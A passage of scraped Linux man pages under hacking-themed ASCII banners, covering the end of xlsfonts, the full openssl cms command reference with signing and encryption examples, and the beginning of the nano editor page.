xlsfonts lists the fonts that match the given pattern. The wildcard character “*” may be used to match any sequence of characters (including none), and “?” to match any single character. If no pattern is given, “*” is assumed.

The “*” and “?” characters must be quoted to prevent them from being expanded by the shell.

OPTIONS

-display host:dpy
This option specifies the X server to contact.

-d host:dpy
Same as -display host:dpy.

-l
Lists some attributes of the font on one line in addition to its name.

-ll
Lists font properties in addition to -l output.

-lll
Lists character metrics in addition to -ll output.

-m
This option indicates that long listings should also print the minimum and maximum bounds of each font.

-C
This option indicates that listings should use multiple columns. This is the same as -n 0.

-1
This option indicates that listings should use a single column. This is the same as -n 1.

-w width
This option specifies the width in characters that should be used in figuring out how many columns to print. The default is 79.

-n columns
This option specifies the number of columns to use in displaying the output. By default, it will attempt to fit as many columns of font names into the number of character specified by -w width.

-u
This option indicates that the output should be left unsorted.

-o
This option indicates that xlsfonts should do an OpenFont (and QueryFont, if appropriate) rather than a ListFonts. This is useful if ListFonts or ListFontsWithInfo fail to list a known font (as is the case with some scaled font systems).

-fn pattern
This option specifies the font name pattern to match.

-v
This option indicates that xlsfonts should print out the program version and exit.

SEE ALSO

X(7), Xserver(1), xset(1), xfd(1), X Logical Font Description Conventions

ENVIRONMENT

DISPLAY
DISPLAY must be set to get the default host and display to use.

BUGS

Doing ``xlsfonts -l’’ can tie up your server for a very long time. This is really a bug with single-threaded non-preemptable servers, not with this program.

AUTHOR

Mark Lillibridge

Jim Fulton

Phil Karlton

Roland Mainz

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

606 - Linux cli command openssl-cmsssl

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command openssl-cmsssl and provides detailed information about the command openssl-cmsssl, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the openssl-cmsssl.

NAME 🖥️ openssl-cmsssl 🖥️

cms - CMS command

SYNOPSIS

openssl cms [-help]

General options:

[-in filename] [-out filename] [-config configfile]

Operation options:

[-encrypt] [-decrypt] [-sign] [-verify] [-resign] [-sign_receipt] [-verify_receipt receipt] [-digest digest] [-digest_create] [-digest_verify] [-compress] [-uncompress] [-EncryptedData_encrypt] [-EncryptedData_decrypt] [-data_create] [-data_out] [-cmsout]

File format options:

[-inform DER|PEM|SMIME] [-outform DER|PEM|SMIME] [-rctform DER|PEM|SMIME] [-stream] [-indef] [-noindef] [-binary] [-crlfeol] [-asciicrlf]

Keys and password options:

[-pwri_password password] [-secretkey key] [-secretkeyid id] [-inkey filename|uri] [-passin arg] [-keyopt name:parameter] [-keyform DER|PEM|P12|ENGINE] [-engine id] [-provider name] [-provider-path path] [-propquery propq] [-rand files] [-writerand file]

Encryption options:

[-originator file] [-recip file] [recipient-cert …] [-cipher] [-wrap cipher] [-aes128-wrap] [-aes192-wrap] [-aes256-wrap] [-des3-wrap] [-debug_decrypt]

Signing options:

[-md digest] [-signer file] [-certfile file] [-cades] [-nodetach] [-nocerts] [-noattr] [-nosmimecap] [-receipt_request_all] [-receipt_request_first] [-receipt_request_from emailaddress] [-receipt_request_to emailaddress]

Verification options:

[-signer file] [-content filename] [-no_content_verify] [-no_attr_verify] [-nosigs] [-noverify] [-nointern] [-cades] [-verify_retcode] [-CAfile file] [-no-CAfile] [-CApath dir] [-no-CApath] [-CAstore uri] [-no-CAstore]

Output options:

[-keyid] [-econtent_type type] [-text] [-certsout file] [-to addr] [-from addr] [-subject subj]

Printing options:

[-noout] [-print] [-nameopt option] [-receipt_request_print]

Validation options:

[-allow_proxy_certs] [-attime timestamp] [-no_check_time] [-check_ss_sig] [-crl_check] [-crl_check_all] [-explicit_policy] [-extended_crl] [-ignore_critical] [-inhibit_any] [-inhibit_map] [-partial_chain] [-policy arg] [-policy_check] [-policy_print] [-purpose purpose] [-suiteB_128] [-suiteB_128_only] [-suiteB_192] [-trusted_first] [-no_alt_chains] [-use_deltas] [-auth_level num] [-verify_depth num] [-verify_email email] [-verify_hostname hostname] [-verify_ip ip] [-verify_name name] [-x509_strict] [-issuer_checks]

DESCRIPTION

This command handles data in CMS format such as S/MIME v3.1 email messages. It can encrypt, decrypt, sign, verify, compress, uncompress, and print messages.

OPTIONS

There are a number of operation options that set the type of operation to be performed: encrypt, decrypt, sign, verify, resign, sign_receipt, verify_receipt, digest_create, digest_verify, compress, uncompress, EncryptedData_encrypt, EncryptedData_decrypt, data_create, data_out, or cmsout. The relevance of the other options depends on the operation type and their meaning may vary according to it.

-help
Print out a usage message.

General options

-in filename
The input message to be encrypted or signed or the message to be decrypted or verified.

-out filename
The message text that has been decrypted or verified or the output MIME format message that has been signed or verified.

-config configfile
See “Configuration Option” in openssl (1).

Operation options

-encrypt
Encrypt data for the given recipient certificates. Input file is the message to be encrypted. The output file is the encrypted data in MIME format. The actual CMS type is EnvelopedData. Note that no revocation check is done for the recipient cert, so if that key has been compromised, others may be able to decrypt the text.

-decrypt
Decrypt data using the supplied certificate and private key. Expects encrypted datain MIME format for the input file. The decrypted data is written to the output file.

-sign
Sign data using the supplied certificate and private key. Input file is the message to be signed. The signed data in MIME format is written to the output file.

-verify
Verify signed data. Expects a signed data on input and outputs the signed data. Both clear text and opaque signing is supported.

-resign
Resign a message: take an existing message and one or more new signers.

-sign_receipt
Generate and output a signed receipt for the supplied message. The input message must contain a signed receipt request. Functionality is otherwise similar to the -sign operation.

-verify_receipt receipt
Verify a signed receipt in filename receipt. The input message must contain the original receipt request. Functionality is otherwise similar to the -verify operation.

-digest digest
When used with -sign, provides the digest in hexadecimal form instead of computing it from the original message content. Cannot be combined with -in or -nodetach. This operation is the CMS equivalent of openssl-pkeyutl (1) signing. When signing a pre-computed digest, the security relies on the digest and its computation from the original message being trusted.

-digest_create
Create a CMS DigestedData type.

-digest_verify
Verify a CMS DigestedData type and output the content.

-compress
Create a CMS CompressedData type. OpenSSL must be compiled with zlib support for this option to work, otherwise it will output an error.

-uncompress
Uncompress a CMS CompressedData type and output the content. OpenSSL must be compiled with zlib support for this option to work, otherwise it will output an error.

-EncryptedData_encrypt
Encrypt content using supplied symmetric key and algorithm using a CMS EncryptedData type and output the content.

-EncryptedData_decrypt
Decrypt content using supplied symmetric key and algorithm using a CMS EncryptedData type and output the content.

-data_create
Create a CMS Data type.

-data_out
Data type and output the content.

-cmsout
Takes an input message and writes out a PEM encoded CMS structure.

File format options

-inform DER|PEM|SMIME
The input format of the CMS structure (if one is being read); the default is SMIME. See openssl-format-options (1) for details.

-outform DER|PEM|SMIME
The output format of the CMS structure (if one is being written); the default is SMIME. See openssl-format-options (1) for details.

-rctform DER|PEM|SMIME
The signed receipt format for use with the -receipt_verify; the default is SMIME. See openssl-format-options (1) for details.

-stream, -indef
The -stream and -indef options are equivalent and enable streaming I/O for encoding operations. This permits single pass processing of data without the need to hold the entire contents in memory, potentially supporting very large files. Streaming is automatically set for S/MIME signing with detached data if the output format is SMIME it is currently off by default for all other operations.

-noindef
Disable streaming I/O where it would produce and indefinite length constructed encoding. This option currently has no effect. In future streaming will be enabled by default on all relevant operations and this option will disable it.

-binary
Normally the input message is converted to “canonical” format which is effectively using CR and LF as end of line: as required by the S/MIME specification. When this option is present no translation occurs. This is useful when handling binary data which may not be in MIME format.

-crlfeol
Normally the output file uses a single LF as end of line. When this option is present CRLF is used instead.

-asciicrlf
When signing use ASCII CRLF format canonicalisation. This strips trailing whitespace from all lines, deletes trailing blank lines at EOF and sets the encapsulated content type. This option is normally used with detached content and an output signature format of DER. This option is not normally needed when verifying as it is enabled automatically if the encapsulated content format is detected.

Keys and password options

-pwri_password password
Specify password for recipient.

-secretkey key
Specify symmetric key to use. The key must be supplied in hex format and be consistent with the algorithm used. Supported by the -EncryptedData_encrypt -EncryptedData_decrypt, -encrypt and -decrypt options. When used with -encrypt or -decrypt the supplied key is used to wrap or unwrap the content encryption key using an AES key in the KEKRecipientInfo type.

-secretkeyid id
The key identifier for the supplied symmetric key for KEKRecipientInfo type. This option must be present if the -secretkey option is used with -encrypt. With -decrypt operations the id is used to locate the relevant key if it is not supplied then an attempt is used to decrypt any KEKRecipientInfo structures.

-inkey filename|uri
The private key to use when signing or decrypting. This must match the corresponding certificate. If this option is not specified then the private key must be included in the certificate file specified with the -recip or -signer file. When signing this option can be used multiple times to specify successive keys.

-passin arg
The private key password source. For more information about the format of arg see openssl-passphrase-options (1).

-keyopt name:parameter
For signing and encryption this option can be used multiple times to set customised parameters for the preceding key or certificate. It can currently be used to set RSA-PSS for signing, RSA-OAEP for encryption or to modify default parameters for ECDH.

-keyform DER|PEM|P12|ENGINE
The format of the private key file; unspecified by default. See openssl-format-options (1) for details.

-engine id
See “Engine Options” in openssl (1). This option is deprecated.

-provider name

-provider-path path

-propquery propq

See “Provider Options” in openssl (1), provider (7), and property (7).

-rand files, -writerand file
See “Random State Options” in openssl (1) for details.

Encryption and decryption options

-originator file
A certificate of the originator of the encrypted message. Necessary for decryption when Key Agreement is in use for a shared key.

-recip file
When decrypting a message this specifies the certificate of the recipient. The certificate must match one of the recipients of the message. When encrypting a message this option may be used multiple times to specify each recipient. This form must be used if customised parameters are required (for example to specify RSA-OAEP). Only certificates carrying RSA, Diffie-Hellman or EC keys are supported by this option.

recipient-cert …
This is an alternative to using the -recip option when encrypting a message. One or more certificate filenames may be given.

-cipher
The encryption algorithm to use. For example triple DES (168 bits) - -des3 or 256 bit AES - -aes256. Any standard algorithm name (as used by the EVP_get_cipherbyname() function) can also be used preceded by a dash, for example -aes-128-cbc. See openssl-enc (1) for a list of ciphers supported by your version of OpenSSL. Currently the AES variants with GCM mode are the only supported AEAD algorithms. If not specified triple DES is used. Only used with -encrypt and -EncryptedData_create commands.

-wrap cipher
Cipher algorithm to use for key wrap when encrypting the message using Key Agreement for key transport. The algorithm specified should be suitable for key wrap.

-aes128-wrap, -aes192-wrap, -aes256-wrap, -des3-wrap
Use AES128, AES192, AES256, or 3DES-EDE, respectively, to wrap key. Depending on the OpenSSL build options used, -des3-wrap may not be supported.

-debug_decrypt
This option sets the CMS_DEBUG_DECRYPT flag. This option should be used with caution: see the notes section below.

Signing options

-md digest
Digest algorithm to use when signing or resigning. If not present then the default digest algorithm for the signing key will be used (usually SHA1).

-signer file
A signing certificate. When signing or resigning a message, this option can be used multiple times if more than one signer is required.

-certfile file
Allows additional certificates to be specified. When signing these will be included with the message. When verifying these will be searched for the signers certificates. The input can be in PEM, DER, or PKCS#12 format.

-cades
When used with -sign, add an ESS signingCertificate or ESS signingCertificateV2 signed-attribute to the SignerInfo, in order to make the signature comply with the requirements for a CAdES Basic Electronic Signature (CAdES-BES).

-nodetach
When signing a message use opaque signing: this form is more resistant to translation by mail relays but it cannot be read by mail agents that do not support S/MIME. Without this option cleartext signing with the MIME type multipart/signed is used.

-nocerts
When signing a message the signer’s certificate is normally included with this option it is excluded. This will reduce the size of the signed message but the verifier must have a copy of the signers certificate available locally (passed using the -certfile option for example).

-noattr
Normally when a message is signed a set of attributes are included which include the signing time and supported symmetric algorithms. With this option they are not included.

-nosmimecap
Exclude the list of supported algorithms from signed attributes, other options such as signing time and content type are still included.

-receipt_request_all, -receipt_request_first
For -sign option include a signed receipt request. Indicate requests should be provided by all recipient or first tier recipients (those mailed directly and not from a mailing list). Ignored it -receipt_request_from is included.

-receipt_request_from emailaddress
For -sign option include a signed receipt request. Add an explicit email address where receipts should be supplied.

-receipt_request_to emailaddress
Add an explicit email address where signed receipts should be sent to. This option must but supplied if a signed receipt is requested.

Verification options

-signer file
If a message has been verified successfully then the signers certificate(s) will be written to this file if the verification was successful.

-content filename
This specifies a file containing the detached content for operations taking S/MIME input, such as the -verify command. This is only usable if the CMS structure is using the detached signature form where the content is not included. This option will override any content if the input format is S/MIME and it uses the multipart/signed MIME content type.

-no_content_verify
Do not verify signed content signatures.

-no_attr_verify
Do not verify signed attribute signatures.

-nosigs
Don’t verify message signature.

-noverify
Do not verify the signers certificate of a signed message.

-nointern
When verifying a message normally certificates (if any) included in the message are searched for the signing certificate. With this option only the certificates specified in the -certfile option are used. The supplied certificates can still be used as untrusted CAs however.

-cades
When used with -verify, require and check signer certificate digest. See the NOTES section for more details.

-verify_retcode
Exit nonzero on verification failure.

-CAfile file, -no-CAfile, -CApath dir, -no-CApath, -CAstore uri, -no-CAstore
See “Trusted Certificate Options” in openssl-verification-options (1) for details.

Output options

-keyid
Use subject key identifier to identify certificates instead of issuer name and serial number. The supplied certificate must include a subject key identifier extension. Supported by -sign and -encrypt options.

-econtent_type type
Set the encapsulated content type to type if not supplied the Data type is used. The type argument can be any valid OID name in either text or numerical format.

-text
This option adds plain text (text/plain) MIME headers to the supplied message if encrypting or signing. If decrypting or verifying it strips off text headers: if the decrypted or verified message is not of MIME type text/plain then an error occurs.

-certsout file
Any certificates contained in the input message are written to file.

-to, -from, -subject
The relevant email headers. These are included outside the signed portion of a message so they may be included manually. If signing then many S/MIME mail clients check the signers certificate’s email address matches that specified in the From: address.

Printing options

-noout
For the -cmsout operation do not output the parsed CMS structure. This is useful if the syntax of the CMS structure is being checked.

-print
For the -cmsout operation print out all fields of the CMS structure. This implies -noout. This is mainly useful for testing purposes.

-nameopt option
For the -cmsout operation when -print option is in use, specifies printing options for string fields. For most cases utf8 is reasonable value. See openssl-namedisplay-options (1) for details.

-receipt_request_print
For the -verify operation print out the contents of any signed receipt requests.

Validation options

-allow_proxy_certs, -attime, -no_check_time, -check_ss_sig, -crl_check, -crl_check_all, -explicit_policy, -extended_crl, -ignore_critical, -inhibit_any, -inhibit_map, -no_alt_chains, -partial_chain, -policy, -policy_check, -policy_print, -purpose, -suiteB_128, -suiteB_128_only, -suiteB_192, -trusted_first, -use_deltas, -auth_level, -verify_depth, -verify_email, -verify_hostname, -verify_ip, -verify_name, -x509_strict -issuer_checks
Set various options of certificate chain verification. See “Verification Options” in openssl-verification-options (1) for details. Any validation errors cause the command to exit.

NOTES

The MIME message must be sent without any blank lines between the headers and the output. Some mail programs will automatically add a blank line. Piping the mail directly to sendmail is one way to achieve the correct format.

The supplied message to be signed or encrypted must include the necessary MIME headers or many S/MIME clients won’t display it properly (if at all). You can use the -text option to automatically add plain text headers.

A “signed and encrypted” message is one where a signed message is then encrypted. This can be produced by encrypting an already signed message: see the examples section.

This version of the program only allows one signer per message but it will verify multiple signers on received messages. Some S/MIME clients choke if a message contains multiple signers. It is possible to sign messages “in parallel” by signing an already signed message.

The options -encrypt and -decrypt reflect common usage in S/MIME clients. Strictly speaking these process CMS enveloped data: CMS encrypted data is used for other purposes.

The -resign option uses an existing message digest when adding a new signer. This means that attributes must be present in at least one existing signer using the same message digest or this operation will fail.

The -stream and -indef options enable streaming I/O support. As a result the encoding is BER using indefinite length constructed encoding and no longer DER. Streaming is supported for the -encrypt operation and the -sign operation if the content is not detached.

Streaming is always used for the -sign operation with detached data but since the content is no longer part of the CMS structure the encoding remains DER.

If the -decrypt option is used without a recipient certificate then an attempt is made to locate the recipient by trying each potential recipient in turn using the supplied private key. To thwart the MMA attack (Bleichenbacher’s attack on PKCS #1 v1.5 RSA padding) all recipients are tried whether they succeed or not and if no recipients match the message is “decrypted” using a random key which will typically output garbage. The -debug_decrypt option can be used to disable the MMA attack protection and return an error if no recipient can be found: this option should be used with caution. For a fuller description see CMS_decrypt (3)).

CADES BASIC ELECTRONIC SIGNATURE (CADES-BES)

A CAdES Basic Electronic Signature (CAdES-BES), as defined in the European Standard ETSI EN 319 122-1 V1.1.1, contains:

  • The signed user data as defined in CMS (RFC 3852);

  • Content-type of the EncapsulatedContentInfo value being signed;

  • Message-digest of the eContent OCTET STRING within encapContentInfo being signed;

  • An ESS signingCertificate or ESS signingCertificateV2 attribute, as defined in Enhanced Security Services (ESS), RFC 2634 and RFC 5035. An ESS signingCertificate attribute only allows for SHA-1 as digest algorithm. An ESS signingCertificateV2 attribute allows for any digest algorithm.

  • The digital signature value computed on the user data and, when present, on the signed attributes. NOTE that the -cades option applies to the -sign or -verify operations. With this option, the -verify operation also requires that the signingCertificate attribute is present and checks that the given identifiers match the verification trust chain built during the verification process.

EXIT CODES

  1. The operation was completely successfully.

  2. An error occurred parsing the command options.

  3. One of the input files could not be read.

  4. An error occurred creating the CMS file or when reading the MIME message.

  5. An error occurred decrypting or verifying the message.

  6. The message was verified correctly but an error occurred writing out the signers certificates.

COMPATIBILITY WITH PKCS#7 FORMAT

openssl-smime (1) can only process the older PKCS#7 format. openssl cms supports Cryptographic Message Syntax format. Use of some features will result in messages which cannot be processed by applications which only support the older format. These are detailed below.

The use of the -keyid option with -sign or -encrypt.

The -outform PEM option uses different headers.

The -compress option.

The -secretkey option when used with -encrypt.

The use of PSS with -sign.

The use of OAEP or non-RSA keys with -encrypt.

Additionally the -EncryptedData_create and -data_create type cannot be processed by the older openssl-smime (1) command.

EXAMPLES

Create a cleartext signed message:

openssl cms -sign -in message.txt -text -out mail.msg \ -signer mycert.pem

Create an opaque signed message

openssl cms -sign -in message.txt -text -out mail.msg -nodetach \ -signer mycert.pem

Create a signed message, include some additional certificates and read the private key from another file:

openssl cms -sign -in in.txt -text -out mail.msg \ -signer mycert.pem -inkey mykey.pem -certfile mycerts.pem

Create a signed message with two signers, use key identifier:

openssl cms -sign -in message.txt -text -out mail.msg \ -signer mycert.pem -signer othercert.pem -keyid

Send a signed message under Unix directly to sendmail, including headers:

openssl cms -sign -in in.txt -text -signer mycert.pem \ -from [email protected] -to someone@somewhere \ -subject “Signed message” | sendmail someone@somewhere

Verify a message and extract the signer’s certificate if successful:

openssl cms -verify -in mail.msg -signer user.pem -out signedtext.txt

Send encrypted mail using triple DES:

openssl cms -encrypt -in in.txt -from [email protected] \ -to someone@somewhere -subject “Encrypted message” \ -des3 user.pem -out mail.msg

Sign and encrypt mail:

openssl cms -sign -in ml.txt -signer my.pem -text \ | openssl cms -encrypt -out mail.msg \ -from [email protected] -to someone@somewhere \ -subject “Signed and Encrypted message” -des3 user.pem

Note: the encryption command does not include the -text option because the message being encrypted already has MIME headers.

Decrypt a message:

openssl cms -decrypt -in mail.msg -recip mycert.pem -inkey key.pem

The output from Netscape form signing is a PKCS#7 structure with the detached signature format. You can use this program to verify the signature by line wrapping the base64 encoded structure and surrounding it with:

—–BEGIN PKCS7—– —–END PKCS7—–

and using the command,

openssl cms -verify -inform PEM -in signature.pem -content content.txt

alternatively you can base64 decode the signature and use

openssl cms -verify -inform DER -in signature.der -content content.txt

Create an encrypted message using 128 bit Camellia:

openssl cms -encrypt -in plain.txt -camellia128 -out mail.msg cert.pem

Add a signer to an existing message:

openssl cms -resign -in mail.msg -signer newsign.pem -out mail2.msg

Sign a message using RSA-PSS:

openssl cms -sign -in message.txt -text -out mail.msg \ -signer mycert.pem -keyopt rsa_padding_mode:pss

Create an encrypted message using RSA-OAEP:

openssl cms -encrypt -in plain.txt -out mail.msg \ -recip cert.pem -keyopt rsa_padding_mode:oaep

Use SHA256 KDF with an ECDH certificate:

openssl cms -encrypt -in plain.txt -out mail.msg \ -recip ecdhcert.pem -keyopt ecdh_kdf_md:sha256

Print CMS signed binary data in human-readable form:

openssl cms -in signed.cms -binary -inform DER -cmsout -print

BUGS

The MIME parser isn’t very clever: it seems to handle most messages that I’ve thrown at it but it may choke on others.

The code currently will only write out the signer’s certificate to a file: if the signer has a separate encryption certificate this must be manually extracted. There should be some heuristic that determines the correct encryption certificate.

Ideally a database should be maintained of a certificates for each email address.

The code doesn’t currently take note of the permitted symmetric encryption algorithms as supplied in the SMIMECapabilities signed attribute. this means the user has to manually include the correct encryption algorithm. It should store the list of permitted ciphers in a database and only use those.

No revocation checking is done on the signer’s certificate.

SEE ALSO

ossl_store-file (7)

HISTORY

The use of multiple -signer options and the -resign command were first added in OpenSSL 1.0.0.

The -keyopt option was added in OpenSSL 1.0.2.

Support for RSA-OAEP and RSA-PSS was added in OpenSSL 1.0.2.

The use of non-RSA keys with -encrypt and -decrypt was added in OpenSSL 1.0.2.

The -no_alt_chains option was added in OpenSSL 1.0.2b.

The -nameopt option was added in OpenSSL 3.0.0.

The -engine option was deprecated in OpenSSL 3.0.

The -digest option was added in OpenSSL 3.2.

COPYRIGHT

Copyright 2008-2023 The OpenSSL Project Authors. All Rights Reserved.

Licensed under the Apache License 2.0 (the “License”). You may not use this file except in compliance with the License. You can obtain a copy in the file LICENSE in the source distribution or at <https://www.openssl.org/source/license.html>.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

607 - Linux cli command nano

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command nano and provides detailed information about the command nano, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the nano.

NAME 🖥️ nano 🖥️

Nano’s ANOther text editor, inspired by Pico

SYNOPSIS

nano [options] [[**+line[,**column]] file]…

nano [options] [[+[crCR]{/|?}string] file]…

NOTICE

Since version 8.0, to be newcomer friendly, ^F starts a forward search, ^B starts a backward search, M-F searches the next occurrence forward, and M-B searches the next occurrence backward. If you want those keystrokes to do what they did before version 8.0, add the following lines at the end of your nanorc file:

bind ^F forward main
bind ^B back main
bind M-F formatter main
bind M-B linter main

DESCRIPTION

nano is a small and friendly text editor. It copies the look and feel of Pico, but is free software, and implements several features that Pico lacks, such as: opening multiple files, scrolling per line, undo/redo, syntax coloring, line numbering, and soft-wrapping overlong lines.

When giving a filename on the command line, the cursor can be put on a specific line by adding the line number with a plus sign (+) before the filename, and even in a specific column by adding it with a comma. Negative numbers count from the end of the file or line.

The cursor can be put on the first or last occurrence of a specific string by specifying that string after +/ or +? before the filename. The string can be made case sensitive and/or caused to be interpreted as a regular expression by inserting c and/or r after the + sign. These search modes can be explicitly disabled by using the uppercase variant of those letters: C and/or R. When the string contains spaces, it needs to be enclosed in quotes. To give an example: to open a file at the first occurrence of the word “Foo”, you would do:

**nano +c/Foo **file

As a special case: if instead of a filename a dash (-) is given, nano will read data from standard input.

EDITING

Entering text and moving around in a file is straightforward: typing the letters and using the normal cursor movement keys. Commands are entered by using the Control (^) and the Alt or Meta (M-) keys. Typing ^K deletes the current line and puts it in the cutbuffer. Consecutive ^Ks put all deleted lines together in the cutbuffer. Any cursor movement or executing any other command causes the next ^K to overwrite the cutbuffer. A ^U pastes the current contents of the cutbuffer at the current cursor position.

When a more precise piece of text needs to be cut or copied, you can mark its start with ^6, move the cursor to its end (the marked text is highlighted), and then use ^K to cut it, or M-6 to copy it to the cutbuffer. You can also save the marked text to a file with ^O, or spell check it with ^T^T.

On some terminals, text can be selected also by holding down Shift while using the arrow keys. Holding down the Ctrl or Alt key too increases the stride. Any cursor movement without Shift being held cancels such a selection.

Any valid Unicode code point can be inserted into the buffer by typing M-V followed by the hexadecimal digits of the code point (concluded with <Space> or <Enter> when it are fewer than six digits). A literal control code (except ^J) can be inserted by typing M-V followed by the pertinent keystroke.

The two lines at the bottom of the screen show some important commands; the built-in help (^G) lists all the available ones. The default key bindings can be changed via a nanorc file – see nanorc(5).

OPTIONS

-A, –smarthome
Make the Home key smarter. When Home is pressed anywhere but at the very beginning of non-whitespace characters on a line, the cursor jumps to that beginning (either forwards or backwards). If the cursor is already at that position, it jumps to the true beginning of the line.

-B, –backup
When saving a file, back up the previous version of it, using the current filename suffixed with a tilde (~).

-C directory, –backupdir=directory
Make and keep not just one backup file, but make and keep a uniquely numbered one every time a file is saved – when backups are enabled (
-B
). The uniquely numbered files are stored in the specified directory.

-D, –boldtext
For the interface, use bold instead of reverse video. This can be overridden for specific elements by setting the options titlecolor, statuscolor, promptcolor, minicolor, keycolor, numbercolor, and/or selectedcolor in your nanorc file. See nanorc(5).

-E, –tabstospaces
Convert each typed tab to spaces – to the number of spaces that a tab at that position would take up. (Note: pasted tabs are not converted.)

-F, –multibuffer
Read a file into a new buffer by default.

-G, –locking
Use vim-style file locking when editing files.

-H, –historylog
Save the last hundred search strings and replacement strings and executed commands, so they can be easily reused in later sessions.

-I, –ignorercfiles
Don’t look at the system’s nanorc nor at the user’s nanorc.

-J number, **–guidestripe=**number
Draw a vertical stripe at the given column, to help judge the width of the text. (The color of the stripe can be changed with set stripecolor in your nanorc file.)

-K, –rawsequences
Interpret escape sequences directly, instead of asking ncurses to translate them. (If you need this option to get some keys to work properly, it means that the terminfo terminal description that is used does not fully match the actual behavior of your terminal. This can happen when you ssh into a BSD machine, for example.) Using this option disables nano’s mouse support.

-L, –nonewlines
Don’t automatically add a newline when a text does not end with one. (This can cause you to save non-POSIX text files.)

-M, –trimblanks
Snip trailing whitespace from the wrapped line when automatic hard-wrapping occurs or when text is justified.

-N, –noconvert
Disable automatic conversion of files from DOS/Mac format.

-O, –bookstyle
When justifying, treat any line that starts with whitespace as the beginning of a paragraph (unless auto-indenting is on).

-P, –positionlog
For the 200 most recent files, log the last position of the cursor, and place it at that position again upon reopening such a file.

-Q “regex”****, –quotestr="regex"""
Set the regular expression for matching the quoting part of a line. The default value is “^([ ]*([!#%:;>|}]|//))+”. (Note that ** ** stands for an actual Tab.) This makes it possible to rejustify blocks of quoted text when composing email, and to rewrap blocks of line comments when writing source code.

-R, –restricted
Restricted mode: don’t read or write to any file not specified on the command line. This means: don’t read or write history files; don’t allow suspending; don’t allow spell checking; don’t allow a file to be appended to, prepended to, or saved under a different name if it already has one; and don’t make backup files. Restricted mode can also be activated by invoking nano with any name beginning with ‘r’ (e.g. “rnano”).

-S, –softwrap
Display over multiple screen rows lines that exceed the screen’s width. (You can make this soft-wrapping occur at whitespace instead of rudely at the screen’s edge, by using also –atblanks.)

-T number, **–tabsize=**number
Set the size (width) of a tab to number columns. The value of number must be greater than 0. The default value is 8.

-U, –quickblank
Make status-bar messages disappear after 1 keystroke instead of after 20. Note that option -c (–constantshow) overrides this. When option –minibar or –zero is in effect, –quickblank makes a message disappear after 0.8 seconds instead of after the default 1.5 seconds.

-V, –version
Show the current version number and exit.

-W, –wordbounds
Detect word boundaries differently by treating punctuation characters as part of a word.

-X “characters”****, –wordchars="characters"""
Specify which other characters (besides the normal alphanumeric ones) should be considered as part of a word. When using this option, you probably want to omit -W (–wordbounds).

-Y name, **–syntax=**name
Specify the name of the syntax highlighting to use from among the ones defined in the nanorc files.

-Z, –zap
Let an unmodified Backspace or Delete erase the marked region (instead of a single character, and without affecting the cutbuffer).

-a, –atblanks
When doing soft line wrapping, wrap lines at whitespace instead of always at the edge of the screen.

-b, –breaklonglines
Automatically hard-wrap the current line when it becomes overlong. (This option is the opposite of -w (–nowrap) – the last one given takes effect.)

-c, –constantshow
Constantly show the cursor position on the status bar. Note that this overrides option -U (–quickblank).

-d, –rebinddelete
Interpret the Delete and Backspace keys differently so that both Backspace and Delete work properly. You should only use this option when on your system either Backspace acts like Delete or Delete acts like Backspace.

-e, –emptyline
Do not use the line below the title bar, leaving it entirely blank.

-f file, **–rcfile=**file
Read only this file for setting nano’s options, instead of reading both the system-wide and the user’s nanorc files.

-g, –showcursor
Make the cursor visible in the file browser (putting it on the highlighted item) and in the help viewer. Useful for braille users and people with poor vision.

-h, –help
Show a summary of the available command-line options and exit.

-i, –autoindent
Automatically indent a newly created line to the same number of tabs and/or spaces as the previous line (or as the next line if the previous line is the beginning of a paragraph).

-j, –jumpyscrolling
Scroll the buffer contents per half-screen instead of per line.

-k, –cutfromcursor
Make the ‘Cut Text’ command (normally ^K) cut from the current cursor position to the end of the line, instead of cutting the entire line.

-l, –linenumbers
Display line numbers to the left of the text area. (Any line with an anchor additionally gets a mark in the margin.)

-m, –mouse
Enable mouse support, if available for your system. When enabled, mouse clicks can be used to place the cursor, set the mark (with a double click), and execute shortcuts. The mouse works in the X Window System, and on the console when gpm is running. Text can still be selected through dragging by holding down the Shift key.

-n, –noread
